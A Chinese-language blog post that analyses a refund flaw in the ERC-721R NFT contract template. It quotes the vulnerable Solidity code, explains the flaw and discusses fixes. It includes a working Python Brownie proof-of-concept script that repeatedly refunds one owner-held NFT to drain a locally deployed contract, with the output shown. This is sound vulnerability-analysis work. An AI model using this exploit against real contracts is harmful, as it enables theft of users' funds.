Blockchain

ERC-721R Rug Pull 實測！利用 Bug 來破解合約對 Rug Pull 的防守！

2022-04-18 by J No Comments

為了改善 NFT 詐騙亂象，Exodia 創辦人 Elie Steinbock 等人提出了新的 ERC-721 合約實現方法，讓鑄幣者在一定的時間內，可以退回鑄造的 NFT 並拿回資金。但其中退款的 bug 卻導致整份合約失去了當初的立意。身為工程師不能光說無憑，實際來測試看看！

什麼是 ERC-721R？

正確來說，ERC-721R 並不是以太坊提出的新代幣標準，而是在符合 ERC-721 所需介面下，含有退款功能的合約實現。

如果有用 openzeppelin library 寫過 contract 經驗的人會知道，其中有提供各式各樣以 ERC-721 標準下去實現的合約，如 ERC721URIStorage、ERC721Pausable 等等。ERC-721R 的層級類似這種，只是提供一個樣板，讓開發人員可以直接繼承來實作，減少開發的時間。

ERC-721R 提供了什麼新功能？

ERC-721R 提供了以下主要功能：

  1. 提供鑑賞期：在指定的時間內，鑄造者可以退回 NFT 並取得退款
  2. 提供退款：如 1. ，鑄造者退回的 NFT 預設會轉到 contract owner 的帳號下。退款則會從合約餘額中扣除，並轉回鑄造者的帳號
  3. 項目方領款限制：鑑賞期結束後才可領款

同時也提供其他基本功能：

  1. 白名單鑄造
  2. 合約擁有者可以免費鑄造
  3. 合約擁有者可以調整鑑賞期 deadline
  4. 因繼承 ERC-721A，具有節省 gas 的能力，並且可以一次鑄造多個 NFT

ERC-721R 的 Bug 在哪裏？

問題就發生在 ERC-721R 提供的 refund method

我們來看在 commit 5801f4e 的 source code：

function refund(uint256[] calldata tokenIds) external {
	require(isRefundGuaranteeActive(), "Refund expired");

	for (uint256 i = 0; i < tokenIds.length; i++) {
		uint256 tokenId = tokenIds[i];
		require(msg.sender == ownerOf(tokenId), "Not token owner");
		transferFrom(msg.sender, refundAddress, tokenId);
	}

	uint256 refundAmount = tokenIds.length * mintPrice;
	Address.sendValue(payable(msg.sender), refundAmount);
}

他負責以下職責：

  1. 檢查是否還在退款期限內，若非則 revert
  2. 迭代傳進來需要退款的 NFT tokenId，確認 sender 是該 NFT 的擁有者後，將 NFT 轉移到 refundAddress
  3. 計算所需退款總額，發送給 sender

其中 refundAddress 初始化在 constructor

constructor() ERC721A("ERC721RExample", "ERC721R") {
	refundAddress = msg.sender;
	toggleRefundCountdown();
}

這會有什麼問題呢？主要出在 refund 的第二步，他只有確認退款者是 NFT 擁有者，但沒有確認退款者 address 和 refundAddress 是否一樣。

如果 msg.sender 和 refundAddress 一樣，跑完 transferFrom 後 NFT 還是在 msg.sender 身上，但他卻可以領到退款！而且退款可以重複操作，直到 contract 的 balance 歸零為止！

同時 contract 也提供 contract owner 後續再設置 refundAddress 的 method

function setRefundAddress(address _refundAddress) external onlyOwner {
	refundAddress = _refundAddress;
}

也就是說，contract owner 也可以透過此 method 更換 refundAddress，用另一個 account 把錢撈走。

contract 甚至提供 ownerMint 的方法

function ownerMint(uint256 quantity) external onlyOwner {
	require(
		amountMinted + quantity <= maxMintSupply,
		"Max mint supply reached"
	);
	_safeMint(msg.sender, quantity);
}

惡意項目方可能連一個 NFT 的鑄造費都不用付，直接 ownerMint 後無限 refund 就能掏空 contract 中的 ether。

或者只要有任一鑄造者退款，項目方也能使用退到手上的 NFT 開始無限 refund。

實際 coding 破解 ERC-721R

我們用 Brownie 框架簡單寫一個 python script 在 local 實驗上述的觀察。

延伸閱讀：如何以 Python Brownie 開發 DeFi 應用？- 環境準備

透過呼叫 demo_rug_pull 函數，做了以下事情：

  1. deploy ERC721R 到 Ganache 中
  2. 將合約的 presaleStatus 和 publicSaleStatus 設為 true，讓他可以做 publicSaleMint
  3. 以 customer 的身份鑄造 5 個 NFT
  4. 以 contract owner 的身份鑄造 1 個 NFT
  5. 印出目前合約中的狀態，包含 owner 和 customer 所擁有的 NFT 數目，以及合約的 ether 餘額
  6. 撈出 address 對其擁有的 tokenId 陣列 map
  7. 用步驟 6 的 map 查詢 contract owner 的 tokenId，做五次重複退款
  8. 印出合約狀態
from brownie import accounts, network, config, ERC721RExample as ERC721R
from web3 import Web3
from time import time
from collections import defaultdict


owner_acct = accounts[0]
customer_acct = accounts[1]


def deploy():
    contract = ERC721R.deploy(
        {"from": owner_acct},
        publish_source=config["networks"][network.show_active()].get("verify"),
    )
    print(f"Contract deployed to {contract.address}\n")


def toggle_sale_status():
    contract = ERC721R[-1]
    tx_1 = contract.togglePresaleStatus({"from": owner_acct})
    tx_2 = contract.togglePublicSaleStatus({"from": owner_acct})
    tx_1.wait(0.1)
    tx_2.wait(0.1)
    presale_active = contract.presaleActive()
    public_sale_active = contract.publicSaleActive()
    print(
        f"toggle finish, presale status: {presale_active}, public sale status: {public_sale_active}\n"
    )


def add_refund_period():
    contract = ERC721R[-1]
    contract.toggleRefundCountdown({"from": owner_acct})
    refund_end_time = contract.refundEndTime()
    print(f"refund end time: {refund_end_time}, now: {time()}")


def customer_mint():
    contract = ERC721R[-1]
    tx = contract.publicSaleMint(5, {"from": customer_acct, "value": "0.5 ether"})
    tx.wait(0.1)
    print("custmer mint successfully\n")


def owner_mint():
    contract = ERC721R[-1]
    tx = contract.ownerMint(1, {"from": owner_acct})
    tx.wait(0.1)
    print("owner mint successfully\n")


def customer_refund(token_id):
    contract = ERC721R[-1]
    tx = contract.refund([token_id], {"from": customer_acct})
    tx.wait(0.1)
    print(f"customer refund token id {token_id} successfully\n")


def owner_refund(token_id):
    contract = ERC721R[-1]
    tx = contract.refund([token_id], {"from": owner_acct})
    tx.wait(0.1)
    print(f"owner refund token id {token_id} successfully\n")


def get_nft_owner_map():
    owner_map = defaultdict(list)
    contract = ERC721R[-1]
    total_supply = contract.totalSupply()

    for i in range(0, total_supply):
        owner_map[contract.ownerOf(i)].append(i)

    return owner_map


def contract_status():
    contract = ERC721R[-1]
    owner_balance = contract.balanceOf(owner_acct)
    customer_balance = contract.balanceOf(customer_acct)
    print(
        f"owner's balance: {owner_balance} NFT\ncustomer's balance: {customer_balance} NFT"
    )

    balance = Web3.fromWei(contract.balance(), "ether")
    print(f"contract balance: {balance} ether")

    total_supply = contract.totalSupply()
    for i in range(0, total_supply):
        print(f"{i} token owner: {contract.ownerOf(i)}")

    print("\n")


def demo_rug_pull():
    deploy()

    toggle_sale_status()

    customer_mint()
    owner_mint()

    contract_status()

    nft_owner_map = get_nft_owner_map()

    for i in range(0, 5):
        owner_refund(nft_owner_map[owner_acct][0])

    contract_status()

實際來看看結果，走到步驟五，印出合約狀態：

owner's balance: 1 NFT
customer's balance: 5 NFT
contract balance: 0.5 ether
0 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
1 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
2 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
3 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
4 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
5 token owner: 0xC553f29a2F6E3C9630dE1fBAd852212348b00632
  1. customer 鑄造五個 NFT ，擁有 tokenId 0 到 4，付了 0.5 ether
  2. contract owner 透過 ownerMint 鑄造一個 tokenId 5，不用付錢
  3. 因此合約餘額為 0.5 ether

接下來 contract owner 做了五次退款後，印出的合約狀態：

owner's balance: 1 NFT
customer's balance: 5 NFT
contract balance: 0 ether
0 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
1 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
2 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
3 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
4 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
5 token owner: 0xC553f29a2F6E3C9630dE1fBAd852212348b00632

tokenId 5 依然在 contract owner 身上，但他成功透過 refund 方法的漏洞，盜走合約餘額 0.5 ether，符合我們先前的討論。

ERC-721R 該怎麼填補漏洞？

填補的方法蠻多，比如說：

  1. 在 refund 方法中禁止 msg.sender == refundAddress
    但這個方案需要同時刪除 setRefundAddress 方法，否則依然可以透過搭配修改 refundAddress，讓同一張 NFT 做多次退款掏空合約餘額
  2. 在 refund 中限制一張 NFT 只能退款一次
    可以解決問題，但退款過的 NFT 若是透過二手市場售出，就再也不能退款，買家較難直接分辨，需要額外的溝通

ERC-721R 項目方後續修正採用法二，但實際應用上還是要看項目方的應用情境，選擇用哪一種方式來避免 Rug Pull。

ERC-721R 的其他潛在問題

最後以個人的觀點討論一下 ERC-721R 的其他面向。

違反區塊鏈不可變更的精神？

社群中有人認為 ERC-721R 提供退款機制違反了區塊鏈不可變更的精神，我個人是不這麼認為。

所謂區塊鏈不可變更，意思是指一但 block 寫入後，該 block 就不能再被修改。

以退款為例，他做的事情其實跟買賣 NFT 一樣，一樣呼叫 transferFrom 方法轉移所有權，同時將新的所有權資料寫入新的 block，過程中並沒有修改過往的 block。假設這麼做違反精神，那買賣 NFT 也是違反的。

鑑賞期並不是鑄造者實際鑄造後開始計算？

合約中定義的鑑賞期和我們直覺得不一樣，不是鑄造後開始算一段時間，而是設定一個退款 deadline，所有人都一樣。因此如果很靠近 deadline 才鑄造的話，可能沒有足夠的時間讓鑄造者思考並發起退款。

怎麼區別 NFT 項目是否使用有 Bug ERC-721R？

只能自己從 etherscan 去看 NFT 的 smart contract source code。畢竟他只是一種實現方式，並非代幣標準，無法從 NFT 交易平台，如 OpenSea 在 Detail 區域提供的 Token Standard 來判斷。

延伸閱讀：
自己寫 NFT 吧！- 實現 ERC-721 – 以 Python Brownie 開發
自己寫 NFT 吧！- Deploy 到 Ganache – 以 Python Brownie 開發
自己寫 NFT 吧！- 準備 Metadata – 以 Python Brownie 開發
自己寫 NFT 吧！- Deploy 到 Rinkeby testnet – 以 Python Brownie 開發

參考資料：
ERC721R 風險分析
ERC721R 新標準發布！允許用戶在鑄造 NFT 後「期限內反悔退款」；但遭社群打槍
ERC721R 遭爆存在致命 BUG！開發者示警： NFT 項目方可藉此掏空資金

Written by J
雖然大學唸的是生物，但持著興趣與熱情自學，畢業後轉戰硬體工程師，與宅宅工程師們一起過著沒日沒夜的生活，做著台灣最薄的 intel 筆電，要與 macbook air 比拼。 離開後，憑著一股傻勁與朋友創業，再度轉戰軟體工程師，一手扛起前後端、雙平台 app 開發，過程中雖跌跌撞撞，卻也累計不少經驗。 可惜不是那 1% 的成功人士，於是加入其他成功人士的新創公司，專職開發後端。沒想到卻在採前人坑的過程中，拓寬了眼界，得到了深層的領悟。